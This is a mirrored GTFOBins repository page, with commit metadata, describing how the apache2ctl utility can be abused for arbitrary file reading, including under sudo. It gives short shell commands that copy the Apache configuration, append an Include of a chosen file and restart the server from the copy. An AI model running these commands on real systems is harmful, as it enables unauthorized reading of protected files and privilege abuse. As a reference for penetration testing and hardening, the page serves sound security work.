1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/apache2ctl.md
nuts7 2c9f0de8e5 Add varnishncsa & apache2ctl
This commit adds 2 files (_gtfobins/apache2ctl.md and _gtfobins/varnishncsa.md) containing privilege escalation methods for the varnishncsa and apache2ctl utilities.
2023-06-19 12:06:14 +02:00

670 B

description functions
apache2ctl is a front end to the Apache HyperText Transfer Protocol (HTTP) server. It is designed to help the administrator control the functioning of the Apache apache2 daemon.
file-read sudo
code
cp -r /etc/apache2/ /tmp/apache2
code
LFILE=file_to_read echo "Include $LFILE" >> /tmp/apache2/apache2.conf
code
apache2ctl -d /tmp/apache2 -k restart
code
cp -r /etc/apache2/ /tmp/apache2
code
LFILE=file_to_read echo "Include $LFILE" >> /tmp/apache2/apache2.conf
code
sudo apache2ctl -d /tmp/apache2 -k restart